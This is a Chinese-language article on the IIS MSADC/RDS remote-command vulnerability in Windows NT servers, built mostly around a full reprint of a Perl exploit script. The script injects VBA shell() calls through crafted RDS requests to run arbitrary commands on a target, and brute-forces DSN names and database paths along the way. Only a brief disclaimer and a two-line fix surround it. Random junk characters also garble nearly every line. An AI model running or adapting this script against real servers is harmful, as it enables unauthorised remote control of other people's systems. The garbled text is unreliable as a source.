IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
PsjSL8] 6f v{?0| 涉及程序：
-M/DOTc Microsoft NT server
DW\';" ~Uz,%zU#3 描述：
] O,;t> 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
^M0e 0 [ ]}E-
V 详细：
&-dyg+b3 如果你没有时间读详细内容的话，就删除:
]N!8U_U3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
G0Eqo$W)S 有关的安全问题就没有了。
-hZlFAZi 9nu!| re S 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
A9`& Wnw? 2"cUBFc1I 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@!1o +x 关于利用ODBC远程漏洞的描述，请参看:
o m@GH0o+ Z@4 BTA http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,qz$6oxh\ ...|S]a 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
w@ALl#z;} http://www.microsoft.com/security/bulletins/MS99-025faq.asp Il J!jq nYhI 0q 这里不再论述。
W|XW2`3p H$bu* o-Z 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
8E`A`z outAZy=R; /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Q`j!$r 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
0<d9al|J *~Y U0o yU<T_&M
#将下面这段保存为txt文件，然后: "perl -x 文件名"
__dSEOGoe _r@
FWUZ #!perl
v0 +mh] #
;~CAHn|Fe # MSADC/RDS 'usage' (aka exploit) script
ve|ig]$5g< #
$Y&
8@/L # by rain.forest.puppy
plcz m 2 #
{ }Q!./5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
OE[| 1?3 # beta test and find errors!
tbG^9d <H03i"Z/S use Socket; use Getopt::Std;
}#]2u| G getopts("e:vd:h:XR", \%args);
kG 7]<^Os3 jrJ!A(<) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
u*u3<YQ 6AD#x7drj if (!defined $args{h} && !defined $args{R}) {
`=TV4h4 print qq~
P_6Jwe N Usage: msadc.pl -h <host> { -d <delay> -X -v }
L? : .8k`d -h <host> = host you want to scan (ip or domain)
Y_'3pX, -d <seconds> = delay between calls, default 1 second
,Q:Ylc8 -X = dump Index Server path table, if available
wl2P^Pj -v = verbose
]@LeyT'cY -e = external dictionary file for step 5
HG
kL6o= S<fSoU+RJ Or a -R will resume a command session
lrrNyaFn 3m sb"|DG ~; exit;}
jNV)=s^ed[ H%y!lR{c^D $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}h{8i_R if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{HoeK>rd if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
b`: n i
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4 k%y *L $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
jMFLd if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
G)5R
iRcs Y]MB/\gj if (!defined $args{R}){ $ret = &has_msadc;
d7(g=JK< die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
uknX py)) pe%$(%@v print "Please type the NT commandline you want to run (cmd /c assumed):\n"
,cj531. . "cmd /c ";
3'3E:}o| $in=<STDIN>; chomp $in;
5 jMI33D $command="cmd /c " . $in ;
JO3"$s|t d!>.$| b if (defined $args{R}) {&load; exit;}
vNo( `~]c l5;
SY print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
TQ hu$z< &try_btcustmr;
P )D2PVD
R(.5Hs print "\nStep 2: Trying to make our own DSN...";
P qU jBP\ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
gu:8+/W8L T)N_ ~f| print "\nStep 3: Trying known DSNs...";
my1FW,3 &known_dsn;
U0X,g(2' #POVu|Y;h print "\nStep 4: Trying known .mdbs...";
qK=uSL o\+ &known_mdb;
'\ g- z V7~tIhuJH if (defined $args{e}){
EjY8g@M;t print "\nStep 5: Trying dictionary of DSN names...";
gdr"34%vbM &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*.F^`]yz "|k 4<"] print "Sorry Charley...maybe next time?\n";
{~*^jS']5 exit;
Sao4MkSz[] |!Ryl}Oi ##############################################################################
GycW3tc]_& `PoFKtVX M sub sendraw { # ripped and modded from whisker
9I1D'7wI^^ sleep($delay); # it's a DoS on the server! At least on mine...
T5<851rH my ($pstr)=@_;
2wX4e0cOI4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
qnc?&f die("Socket problems\n");
Z(h.)$yH*= if(connect(S,pack "SnA4x8",2,80,$target)){
?Sj >b select(S); $|=1;
b@s6jNhVO^ print $pstr; my @in=<S>;
[uLwr$N<%L select(STDOUT); close(S);
GBg~NkC7. return @in;
1U?,}w } else { die("Can't connect...\n"); }}
a*kvU "] ! )x2
##############################################################################
5 *R{N
~> @'AjEl:&-_ sub make_header { # make the HTTP request
5|<j Pc my $msadc=<<EOT
on^m2pQ
*p POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
d94 Le/E User-Agent: ACTIVEDATA
[aS<u`/g| Host: $ip
>))f;$D= Content-Length: $clen
=tS#t+2S Connection: Keep-Alive
V$?@
z>7 3bN]2\ ADCClientVersion:01.06
chC= $(5t Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
E:$EK_?:t Y W9+.Dc` --!ADM!ROX!YOUR!WORLD!
-s6k 't Content-Type: application/x-varg
7B@ 1[ Content-Length: $reqlen
3xX ^pjk :5W 8S6[o EOT
`m")v0n3 ; $msadc=~s/\n/\r\n/g;
/$=<"Y7&g return $msadc;}
UURYK~$K: `qs[a}%'>" ##############################################################################
oE.59dx ,'Sj:l sub make_req { # make the RDS request
63PSYj(y my ($switch, $p1, $p2)=@_;
^0tO2$ my $req=""; my $t1, $t2, $query, $dsn;
}N 0$DqP '#eY4d<i]n if ($switch==1){ # this is the btcustmr.mdb query
Y
n7z#bu $query="Select * from Customers where City=" . make_shell();
e0z(l/UB $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1=@csO_yn $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2 ":W^P 3 BQZ[%0@ elsif ($switch==2){ # this is general make table query
~W..P:wG5 $query="create table AZZ (B int, C varchar(10))";
ks|c'XQb $dsn="$p1";}
;R[w}#Sm Z<IN>:l elsif ($switch==3){ # this is general exploit table query
x@LNjlP $query="select * from AZZ where C=" . make_shell();
pNnZ-R|u $dsn="$p1";}
)45#lE3TH MBn ZO elsif ($switch==4){ # attempt to hork file info from index server
GoUsB|-\ $query="select path from scope()";
[X"pOz $dsn="Provider=MSIDXS;";}
e0:[,aF` %o elsif ($switch==5){ # bad query
LX 8A@Yct $query="select";
259R5X<V $dsn="$p1";}
F%ffnEJg xP7#`S6W $t1= make_unicode($query);
j;yKL-ycB $t2= make_unicode($dsn);
V'^E'[Dd{ $req = "\x02\x00\x03\x00";
)&{<gyS1 $req.= "\x08\x00" . pack ("S1", length($t1));
HD_ #-M $req.= "\x00\x00" . $t1 ;
: *8t,f~s^ $req.= "\x08\x00" . pack ("S1", length($t2));
Y/<`C $req.= "\x00\x00" . $t2 ;
(Go1@;5I $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
l.Q.G<ol return $req;}
8= "01 S
Rb -eDk' ##############################################################################
,^1B"#0{C< PJF1+I.%c# sub make_shell { # this makes the shell() statement
"&% Lhyt return "'|shell(\"$command\")|'";}
7U1^=Y@t} H8!)zZ ##############################################################################
Q+7+||RW z]/!4+ sub make_unicode { # quick little function to convert to unicode
KXf (v4 my ($in)=@_; my $out;
N8KH.P+ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
SH6+'7 return $out;}
5V*R
Dh JUCp#[q ##############################################################################
&d ky_ H 6o)RsxN eu sub rdo_success { # checks for RDO return success (this is kludge)
3lsfT-|Wt& my (@in) = @_; my $base=content_start(@in);
)]tf|Mbu if($in[$base]=~/multipart\/mixed/){
S;^'Ek"Z. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
gwy X%9 return 0;}
@j<Q2z^ ;DgQ8"f ##############################################################################
=Cc]ugl7- EC/=JlL`5 sub make_dsn { # this makes a DSN for us
"lRxatM my @drives=("c","d","e","f");
e'|IRhr print "\nMaking DSN: ";
\C<'2KZR, foreach $drive (@drives) {
{|B
2$1': print "$drive: ";
S|
| OSxZ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
qM18 Ji* "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
#b9V&/ln . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Mc ~L%5 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7 MS-G s| return 0 if $2 eq "404"; # not found/doesn't exist
=p2: qSV if($2 eq "200") {
cV4]Y(9 foreach $line (@results) {
,L=lg,lH^ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
43,baeG } return 0;}
] ^53Qbrv tGJJ|mle> ##############################################################################
L/?jtF:o / ?'FSWDU sub verify_exists {
zJ30ZY: my ($page)=@_;
4MrUo9L$s my @results=sendraw("GET $page HTTP/1.0\n\n");
a0&L,7mu<' return $results[0];}
QlMv_|`9 K=1prv2 ##############################################################################
s`en8%
i ?%_P u sub try_btcustmr {
watTV \b my @drives=("c","d","e","f");
dUL*~%2I my @dirs=("winnt","winnt35","winnt351","win","windows");
FQ>y2n=<d 9]vy#a# foreach $dir (@dirs) {
ye-[l7 print "$dir -> "; # fun status so you can see progress
`ES+$ O> foreach $drive (@drives) {
M#k$[w}= print "$drive: "; # ditto
WK5B8u*< $reqlen=length( make_req(1,$drive,$dir) ) - 28;
w< u@L $reqlenlen=length( "$reqlen" );
>dJ[1s] $clen= 206 + $reqlenlen + $reqlen;
1i&|}" to; ^'#B my @results=sendraw(make_header() . make_req(1,$drive,$dir));
K;ocs?rk / if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7J1f$ 5$m5 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
c_T+T/O UPy 4ST ##############################################################################
K'f^=bc I 'cqY-64CJZ sub odbc_error {
SLz;5%CPV my (@in)=@_; my $base;
&2nICAN[ my $base = content_start(@in);
L[ ^.pO if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
sI6I5 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7+;.Q
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~^PNMZk $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i&q_h>ZT g return $in[$base+4].$in[$base+5].$in[$base+6];}
8g {;o 7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
E|A~T7G= print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
z.|[g$F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Bbtc[@"X 3^iVDbAW{ ##############################################################################
&b'{3o_KN ZnBGNr sub verbose {
s"5nfl my ($in)=@_;
9iV9q]($0 return if !$verbose;
gZBb /< print STDOUT "\n$in\n";}
y eam-8 oB(9{6@N ##############################################################################
EE*|# g 'td(i[ sub save {
;9<?~S my ($p1, $p2, $p3, $p4)=@_;
,$ Cr9R&/ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
G8WPXj( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
YU XxQ| close OUT;}
p|em_!H"SH Z<*"sFpAO ##############################################################################
/9,y+"0SQz ,/qY 9eh sub load {
J!}\v=Rn my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~iPXn1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
fWf't2H& @p=<IN>; close(IN);
\]g51U!' $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+6x}yc:yd $target= inet_aton($ip) || die("inet_aton problems");
+,Or^p O= print "Resuming to $ip ...";
_gEojuaN $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
_U9.u#>s V if($p[1]==1) {
Z_a@,k:+[ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/A+5q\8G $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
/Ny#+$cfk my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
hj\A-Yf if (rdo_success(@results)){print "Success!\n";}
bYmk5 fpRG else { print "failed\n"; verbose(odbc_error(@results));}}
&fsk ESV0 elsif ($p[1]==3){
T7-yZSw -m if(run_query("$p[3]")){
Dw>)\\n{Kl print "Success!\n";} else { print "failed\n"; }}
SW5n?Qj3- elsif ($p[1]==4){
>[&ser if(run_query($drvst . "$p[3]")){
p(cnSvg print "Success!\n"; } else { print "failed\n"; }}
E. *gKfL exit;}
^%m{yf# w}s5=>QG% ##############################################################################
x |gYxZ ?M^qSo=/~ sub create_table {
3.9/mztS my ($in)=@_;
Dk&(QajL $reqlen=length( make_req(2,$in,"") ) - 28;
~pHuh#> $reqlenlen=length( "$reqlen" );
j{johV+`8 $clen= 206 + $reqlenlen + $reqlen;
%<r}V<OeR my @results=sendraw(make_header() . make_req(2,$in,""));
BSy{"K*M return 1 if rdo_success(@results);
O0s,)8+z5D my $temp= odbc_error(@results); verbose($temp);
A%X=yqY return 1 if $temp=~/Table 'AZZ' already exists/;
h (^c5#. return 0;}
F'"-a B ~ S;u.Ds& ##############################################################################
HCx0'|J 8Z y*#[- sub known_dsn {
ysCK_ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
_pzY m Q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Igw2n{})w "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
4TyzD%pOw "banner", "banners", "ads", "ADCDemo", "ADCTest");
{ ?q`9[Z B%`| W@v foreach $dSn (@dsns) {
.V\~#Ro$G print ".";
s:cJF next if (!is_access("DSN=$dSn"));
#K*p1}rf if(create_table("DSN=$dSn")){
76] Z~^Y print "$dSn successful\n";
^=a:{["@! if(run_query("DSN=$dSn")){
Qn~{TZz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\y6Y}Cv print "Something's borked. Use verbose next time\n";}}} print "\n";}
2
6
>9$S &gr
T@ ##############################################################################
Vk*XiEfKm> s>1\bio*I sub is_access {
:S}ZF$
$j% my ($in)=@_;
C,%Dp0 $reqlen=length( make_req(5,$in,"") ) - 28;
z qURnsJ $reqlenlen=length( "$reqlen" );
).0p\ .W~ $clen= 206 + $reqlenlen + $reqlen;
K7C!ZXw~ my @results=sendraw(make_header() . make_req(5,$in,""));
j&U7xv my $temp= odbc_error(@results);
Vk2%yw> verbose($temp); return 1 if ($temp=~/Microsoft Access/);
@4KKm@(p85 return 0;}
w
`+.F;}s _
nz^+ ##############################################################################
neE
Zw#(Z Hzc}NyJ sub run_query {
}x& X vI my ($in)=@_;
}gFa9M< $reqlen=length( make_req(3,$in,"") ) - 28;
b4EUr SL $reqlenlen=length( "$reqlen" );
Y+kuj],h $clen= 206 + $reqlenlen + $reqlen;
`t44.=% my @results=sendraw(make_header() . make_req(3,$in,""));
;#+ I"Ow return 1 if rdo_success(@results);
l>L?T#v!_ my $temp= odbc_error(@results); verbose($temp);
BG )zkn$ return 0;}
}_-tJ. X"mPRnE330 ##############################################################################
+Z-{6C X-Ev> 3H sub known_mdb {
,% 'r:@' my @drives=("c","d","e","f","g");
.JTRFk{W my @dirs=("winnt","winnt35","winnt351","win","windows");
^hr # 1 my $dir, $drive, $mdb;
Ui-Y ` my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D=Nt 0y p!)PbSw# # this is sparse, because I don't know of many
9 G"4w` P my @sysmdbs=( "\\catroot\\icatalog.mdb",
:4x6dYNU "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
u\/TR#b "\\system32\\certmdb.mdb",
L@jpid95 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
mM2I m- a': my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
1f 1D^| "\\cfusion\\cfapps\\forums\\forums_.mdb",
*3OlWnZ? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
|'u BkL0q "\\cfusion\\cfapps\\security\\realm_.mdb",
ueg%D +u "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q[%G`;e # "\\cfusion\\database\\cfexamples.mdb",
eu8a< "\\cfusion\\database\\cfsnippets.mdb",
st~ l|| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
7]Hf3]e>/ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
LNrM`3%2- "\\cfusion\\brighttiger\\database\\cleam.mdb",
#%8)'=1+4? "\\cfusion\\database\\smpolicy.mdb",
L]X x-S "\\cfusion\\database\cypress.mdb",
uhnnjI "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]JvjM , "\\website\\cgi-win\\dbsample.mdb",
<AiE~l| D "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
]&B/rSC "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Z-pZyDz ); #these are just
,aq>9\ pi foreach $drive (@drives) {
+fKV /tSWi foreach $dir (@dirs){
%rf6 > foreach $mdb (@sysmdbs) {
__1Hx?f print ".";
\TnK<83 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
{X<_Y < print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
;Jb% 2?+=! if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
P MX'vA` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
m( dW["8D } else { print "Something's borked. Use verbose next time\n"; }}}}}
fZS'e{V R?,v:S&i7; foreach $drive (@drives) {
ew~uOG+ foreach $mdb (@mdbs) {
7/fJQM print ".";
T, Q7 YI if(create_table($drv . $drive . $dir . $mdb)){
3RI 6+Cgmn print "\n" . $drive . $dir . $mdb . " successful\n";
%KN 2iNq if(run_query($drv . $drive . $dir . $mdb)){
a+CJ J3T- print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
# 7sxb } else { print "Something's borked. Use verbose next time\n"; }}}}
m*h O@M }
, 1-idpnX x9 t % ##############################################################################
p %X.$0 , `'A"]" sub hork_idx {
wlh%{ l print "\nAttempting to dump Index Server tables...\n";
Eh|6{LDn! print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0r[a$p>` $reqlen=length( make_req(4,"","") ) - 28;
W>c*\)Xk ! $reqlenlen=length( "$reqlen" );
7 :=(y BG $clen= 206 + $reqlenlen + $reqlen;
%F$ ]v my @results=sendraw2(make_header() . make_req(4,"",""));
D8xE"6T> if (rdo_success(@results)){
Fo5UG2E& my $max=@results; my $c; my %d;
ACFEM9 [= for($c=19; $c<$max; $c++){
F9(jx#J~t $results[$c]=~s/\x00//g;
!}c\u $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
a*_&[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
O-pH~E $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
| 5q,%9_ $d{"$1$2"}="";}
kp!(e0n foreach $c (keys %d){ print "$c\n"; }
m]'+Eye ]r } else {print "Index server doesn't seem to be installed.\n"; }}
ep`8LQf _5p]Arg?}& ##############################################################################
E@l@f n:?a=xY sub dsn_dict {
E0aFHC[ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
xc05GJ while(<IN>){
X4Uy3 TV> $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
_{}^]ZB next if (!is_access("DSN=$dSn"));
ae2I,Qt% if(create_table("DSN=$dSn")){
jaVx9FR + print "$dSn successful\n";
U[q3 9FR if(run_query("DSN=$dSn")){
:xO43z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T
:^OW5 d print "Something's borked. Use verbose next time\n";}}}
:RYYjmG5;
print "\n"; close(IN);}
/?|;f2tbV2 vS:=%@c>ta ##############################################################################
R!\._m?\h Wcl = YB% sub sendraw2 { # ripped and modded from whisker
Gg:W%&# sleep($delay); # it's a DoS on the server! At least on mine...
_g D9oK my ($pstr)=@_;
EpCNp FQT< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$bBUL C die("Socket problems\n");
CG J_k?h if(connect(S,pack "SnA4x8",2,80,$target)){
sebuuL.l0< print "Connected. Getting data";
j xq89x open(OUT,">raw.out"); my @in;
jd "YaZOQ select(S); $|=1; print $pstr;
>m=XqtP while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
v0;dk( close(OUT); select(STDOUT); close(S); return @in;
I8IH\5k } else { die("Can't connect...\n"); }}
ymR AQVv )U 0I|dx ##############################################################################
5l(@p7 _+ 7E?60 ^Tve sub content_start { # this will take in the server headers
X*bOE} my (@in)=@_; my $c;
i\4d d)p- for ($c=1;$c<500;$c++) {
:Fh _Ya0 if($in[$c] =~/^\x0d\x0a/){
DIhV;[\ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
e;"%h%' else { return $c+1; }}}
)IIWXN2A return -1;} # it should never get here actually
g y#G; 9p _? bF;R ##############################################################################
EU Oa8Z YW8Odm sub funky {
D6\k}4n- my (@in)=@_; my $error=odbc_error(@in);
)sK _k
U{\ if($error=~/ADO could not find the specified provider/){
JiXN"s^mcb print "\nServer returned an ADO miscofiguration message\nAborting.\n";
=~dXP exit;}
K8QEH c: if($error=~/A Handler is required/){
g`"_+x' print "\nServer has custom handler filters (they most likely are patched)\n";
M{Vi4ehOq exit;}
/
=v1.9( if($error=~/specified Handler has denied Access/){
C
[8='i26 print "\nServer has custom handler filters (they most likely are patched)\n";
N]|)O] /[ exit;}}
lZ`@ }^& 7 L]Y.7> ##############################################################################
^5FwYXAxi wqX!7rD/g) sub has_msadc {
-.Z;n1'^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Oe k$f,J- my $base=content_start(@results);
fCv.$5 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
-9s&OKo`({ return 0;}
H]M[2C7#N nQfSQMg ########################
ytfr' sr/ 9~l8QaK Of<Vr.m{R 解决方案：
A2`X h#o 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
<bywi2]z 2、移除web 目录: /msadc
